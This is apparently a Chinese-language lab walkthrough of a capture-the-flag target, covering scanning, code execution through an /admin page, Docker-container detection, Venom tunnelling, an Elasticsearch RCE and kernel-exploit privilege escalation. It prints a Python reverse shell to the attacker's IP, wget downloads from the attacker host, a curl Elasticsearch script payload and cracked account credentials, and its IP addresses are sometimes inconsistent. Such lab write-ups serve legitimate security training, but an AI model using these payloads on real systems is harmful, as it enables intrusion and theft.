第一台
打靶 01
导入靶场,网卡设置为nat模式
开启靶场,即可使用

开启kail
以为靶机和kali在同一网段,所以使用二层的主机发现发现
sudo arp-scan -l

发现四个IP,其中1,2,254都是虚拟机系统正常运行要使用到的IP,所以确定靶机IP为129
对确定了的靶机进行全端口扫描,探测其开启了扫描端口和服务

接下来对这两个端口进行一下服务的发现,目前我们不能确定这两个端口跑的什么应用,什么服务,什么版本
sudo nmap -p22,5000 -sV 192.168.226

我们发现它的22端口跑的是ssh服务并且目标服务器的操作系统为Ubuntu的操作系统,另外一个五千端口跑的是http的服务,我们发现了werkzeug
werkzeug是一个基于python语法进行web应用开发的一个底层框架,意味了目标服务器运行的编程语言环境很有可能是python,事实上我们的nmap扫描器已经连目标服务器运行的python的版本也已经扫描出来了,如果后期我们发现目标服务器存在代码执行的话就可以使用python的脚本代码在目标服务器进行反弹shell,获取控制权等等这样的操作
既然是web服务,那我们就可以直接打开浏览器进行访问,看看有没有默认的页面,如果有我们就可以进行进一步的探测和发现,看看有没有可以注入的入口的点

翻译一下首页面的文字我们大概可以知道这是一个被称为leave a message的社交网站,通过这个社交网站我们可以匿名的来发布一下信息,并且网站的管理者向我们声名这网站发布的所有信息都是安全的状态
这是一个简单的web应用
我们可以在表单输入数据,输入的数据都会在页面显示

这里尝试过跨站脚本,发现并没有收获,这里我们都这个初始页面的基本侦察也已经完成了
到这里我们就要做一个常规操作,对着web程序的路径进行一下发现,因为web应用程序内部往往会包含一下隐藏的路径,隐藏的页面,在隐藏的路径,隐藏的页面中往往可能存在一些可以注入数据的函数的提交点
使用dirsearch进行扫描,如果发现后台就可以对后台进行攻击,进而寻到我们的突破的
dirsearch -u http://192.168.226.129:5000

我们发现一个/admin的路径,进行访问

我们发现这是一个管理页面,这个管理页面的功能是进行代码执行,代码执行这件事情就很严重,如果web应用程序过滤不严格,又可以我们就可以利用这个web代码的执行功能,来直接执行一个反弹shell的操作,通过页面内容我们可以知道我们在下面框中执行的所有内容都会交给exec()这个函数来执行,通过前期我们发现目标服务器是存在python这样的编程环境的,接下来我们就可以尝试利用python的代码执行功能向这个表单注入一段代码来触发一段反弹shell
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.226.128",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
如果不会写python反弹shell的脚本,可以直接百度进行搜索,然后对IP和端口进行修改之后就可以利用这段代码了
https://blog.csdn.net/weixin_34979632/article/details/112989322
如果这段指令被执行成功,我们只要在kail一段启动侦听
nc -nvlp 4444

我们在页面执行反弹shell的代码

成功反弹shell

我们查看一下id看一下权限

中大奖了,直接拿到了root权限,到这里我们是否就打靶完成了了,回想一些这个靶机是vuln中等难度的靶机,中等难度的靶机是不可以直接利用一个漏洞就拿到root权限的,没有那么容易,靶机的作者一定在其中埋了很多坑,等着我们跨过它,但是我们拿到root权限了,这就很诡异了,但是我们细心一点就发现当前文件下存在Dockersfile文件,如过对docker容器了解的朋友应该会产生怀疑,因为dockersfile通常之为我们在生产环境下,标准化部署docker容器,部署开发环境的时候会使用的一个模板文件,这个文件会包含一系列的我们如何引入docker镜像,怎么样对这个镜像进行配置,安装那些软件包,修改那些服务项等等这些配置都在这个模板文件里面存在,作为研发人员我们就可以把这个文件分发给部署人员,应用部署人员拿到这个文件就可以利用这个文件在生产环境的服务器上统一的,标准化的,保持一致性的去大量的,批量的部署众多台的docker容器出来,所有这是一个标准化部署的一个模板文件,既然这个系统里面存在这个文件,是否意味着当前取得root权限的操作系统是一个docker容器的系统了,我们简单查看一些这个dockerfile文件

打开这个文件我们可以看到这是一个非常标准的一些docker模板的一些操作指令,所有这是一个标准的docker部署文件,看完这个文件后更加加深了我们对这个系统可能是一个装在docker里面的一个系统的怀疑,但这个仅仅是一个怀疑,我们要确定这个系统就是一个docker容器的话我们可以执行两个命令
第一个方法:查看根目录下是否存在dockerenv这样的一个文件,如果存在这样一个文件90%可以确定这是一个docker的容器系统,并不是一个宿主机上的一个普通的正常的操作系统
ls /.dockerenv

第二种方法:我们可以查看proc/1/cgroup文件

如果文件出现了这样子的内容就可以100%确定这就是一个docker的容器系统,不一个普通安装在服务器上的系统,这原因都知道Linux系统启动之后1PID就代表着初始化进程的ID,当你的初始化进程的id的cgroup文件里面明确的包含了docker镜像的指示信息就可以100%确定当前系统肯定是一个docker容器而且docker容器的哈希值就在这个cgroup文件中
既然这是一个docker容器,那我们就要想办法从docker容器隔离的环境里突破出来找到我们的宿主机,然后通过对宿主机的漏洞的利用从而拿到宿主机的最高权限,拿到他的root权限,既然我们现在是在docker容器里面,我们查看一点当前docker容器的IP地址

可以看到他的IP地址是172.14.0.3这样的一个IP地址,这样的地址不同与刚刚我们获取的IP地址是不同的,当然又进一步的确定了这是一个docker容器,连IP都不一样,我们就可以把docker容器所在的网段视为这个网络的内网网段,既然是在内网网段,我们就可以在内网网段进一步的发现,内网里面还有没有其他的主机了,如果又其他的主机是否存在一些已知的漏洞了?可不可以利用这些漏洞获取更多的信息或者攻击更多的内网系统了?
现在我们要在内网进行主机发现,如何在内网进行主机发现了,主机发现就是发现IP的存在,最简单的方法就是ping了
ping -c 1 172.17.0.4
ping -c 1 172.14.0.5
......
但是很不幸,我们当前所在的网段的地址比较大,他的子网掩码是16位的子网掩码

https://www.bejson.com/convert/subnetmask/
,所以内网网段存在65535个IP的,一个一个去ping的话不现实,所以我们要借助一些自动化的操作,可以通过一个脚本实现一个循环对内网指定的网段进行ping
for i in $(seq 1 10); do ping -c 1 172.17.0.$i; done

可以看到前三个是有返回的
扫描到存活的内网主机后就要就其进行端口扫描,继续编写脚本进行扫描,不现实
要解决这个问题就要使用到内网穿透,把我的kail和到靶机的内网路由给他打通,这里使用venom
利用venom可以很方便的在二者之间建立一条隧道,基于这条隧道生成一个代理,让我的其他工具可以基于这个代理去扫描他的内网,我们先把这个venmon的客户端程序传输拷贝到目标系统上
在kali上开启venom的服务端并侦听9999端口

现在我们要讲venom的客户端上传到目标服务器了,我们可以在keli上启动http服务,然后在目标上运行wget
通过wget将kali上的程序下载到目标服务器上
我们现在kali上启动一个http的web服务

然后再回到目标系统上,通过wget去访问kali主机上的http服务
wget http://10.1.2.128:8888/a

现在文件已经下载完成了,然后赋予它可执行权限,然后执行它
我们要它连接远程的venom服务器端
./a -rhost 10.1.2.128 -rport 9999


连接成功

发现已经有一个节点连接上来了,我们goto到这个节点

在这个节点上启动s一个socks的监听
那我们就在kali的1080端口上启动了一个侦听的sockes代理

如何让kali上的扫描工具,攻击攻击等所有的工具都可以挂代理去访问内网的整个网段,那我们就要通过proxychains4去挂载我们的代理,让我们的扫描器都可以去扫描目标系统的内网网段
我们就要修改proxychain4.config文件


设置好了之后,我们就可以对内网进行扫描了,之前通过ping我们发现了内网的两台IP地址,现在我们使用nmap来进行端口扫描


发现其开放了22和5000端口跟我们拿的第一台一样,对这两个端口在进行一些服务端的发现

这扫描结果跟172.17.0.3一摸一样
我们通过浏览器访问一下,当然浏览器也需要配置代理

我们进行访问172.17.0.1:5000

跟之前的一摸一样,连之前提交的数据也在这里,说明172.17.0.1就是192.168.226.129的宿主机,只不过172.17.0.1是面向内网的,面向容器的一个IP地址
我们再对172.17.0.3进行扫描,步骤跟上面一样

这里有问题,后面再说
发现这台机子只开放了一个端口9200端口,如果对这个端口比较熟悉的话,默认情况下

Elasticsearch曾经在历史版本上曾经出现几次非常严重的漏洞,最严重的都是一些rce,那我们就有可能怀疑这个Elasticsearch是否存在漏洞了
我们使用searchsploit Elasticsearch来搜索一下

可以看出搜索出了很多结果,其中前两个搜索结果告诉我们这两个都是远程代码执行漏洞利用代码,我们先把这两个漏洞利用代码拷贝过来挨个尝试那个可以利用
将第一个脚本拷贝到当前目录来

我们先来查看一下这个脚本

我们发现这个脚本是使用python2进行编写的
我们运行一下

可以看到我们当前又获得了一个root权限,我们发现每一个容器获取的都是root权限,这个root权限也仅仅是一个容器的root权限
这里有坑:
原因是服务里面没有数据,所以不能通过search来搜索进而执行命令,问题找到,尝试随便插入一条数据
proxychains curl -XPOST 'http://172.17.0.2:9200/twitter/user/yren' -d '{ "name" : "Wu" }'
再次执行Payload
proxychains curl -XPOST 'http://172.17.0.2:9200/_search?pretty' -d '{"script_fields": {"payload": {"script": "java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("whoami").getText()"}}}'
https://www.anquanke.com/post/id/204066
我们在对这个容器再做一下信息收集,我们发现了一个password文件

我们看看

前面是账号,后面是密码的哈希值,记下来,然后我们就要破解这个密码
我们可以利用网上现有的一些md5破解网站进行破解
john:1377hackadmin:1111passroot:1234passtest:1234testjane:1234jane
那我们就可以利用这些账号密码尝试进行登陆目标系统,那那些是允许我们登陆的了,就是那些开放了22端口的
IP地址,首先就是我们拿的第一天机子
那我们直接打开终端尝试进行ssh登陆

成功登陆,经过测试只有john这个账户可以登陆这台机子,其他账号都不可以,既然登陆上来了,那我们看看有没有权限提升到root权限

失败了,我们并没有root权限,这只是一个普通用户,接下来我要得到这台靶机的root权限,怎么样才可以得到这台靶机的root权限了?无外乎就是进行本地提权,本地提权有很多方法,其中最主要的一种方法就是利用其内核漏洞进行提权,通过前期的信息收集我们发现

目标服务器其使用的内核是3.13

这是一个非常古老的版本,现在我们知道最新的Linux内核已经到5.13了,查了两个巨大的版本,对于怎么老的版本来说通常会存在一些内核漏洞,我们尝试进行提权一下

我们找到了很多,我们随便挑选一个,如果挑选的不行,我们就需要把这些全部尝试一边

我们编辑查看一下文件

可以看到这是一个C语言编写的源代码,如果我们要执行它的话要使用gcc进行编译

可是我们发现目标服务器上没有gcc的运行环境,这意味着没办法在目标机上进行编译运行它,所有我们不得在kali本机运行gcc先对这个文件进行编译
但我们在目标机运行代码的时候,在进行使用之前,我们要先阅读一下这个代码

我们发现了一个问题,他会在系统中运行一段代码(先定义了一个lib变量,这个变量会调用system的函数,通过这个函数执行一条系统命令,而这条系统命令中又再次调用了gcc查找一个ofs-lib.c文件,然后把这个库文件编译为.so的二进制的共享库文件,然后在整个代码利用过程中会再次加载和调用这个经过编译之后的.so文件,我们可以把涉及调用编译生成二进制共享库文件的代码直接删除掉,然后由我们赋予它一个编译完成的二进制共享库文件),其中然后赋值给lib,但是这条代码中是有gcc的出现的,就意味着即便我在本机把源码编译好了,到目标服务器上去运行的时候由于它还会调用gcc,所有会导致不能运行,那么我们就要对源码进行修改,这段我其实不懂,尴尬了

修改为这样子,然后在对这个文件进行编译

编译过程会出现错误,但是没关系

我们生成了一个exp文件,我们要执行这个exp文件还需要配合另外一个已经编译生成好了的二进制文件,如何找到这个二进制文件了,通过之前的源码阅读他会调用一个库,我们已经知道了这个库名,尝试定位一下

我们把这个库文件拷贝到当前目录下来

我们把这两个文件一并拷贝到目标宿主机上
在此目录下开启一个http端口

然后用wget下载到目标机子中



接下来要执行这个exp,为了能执行成功要把这两个文件拷贝到/tmp/下

赋予exp可执行的权限,在执行中会调取osf-lib.so这个库的文件


成功拿到root权限

浙公网安备 33010602011771号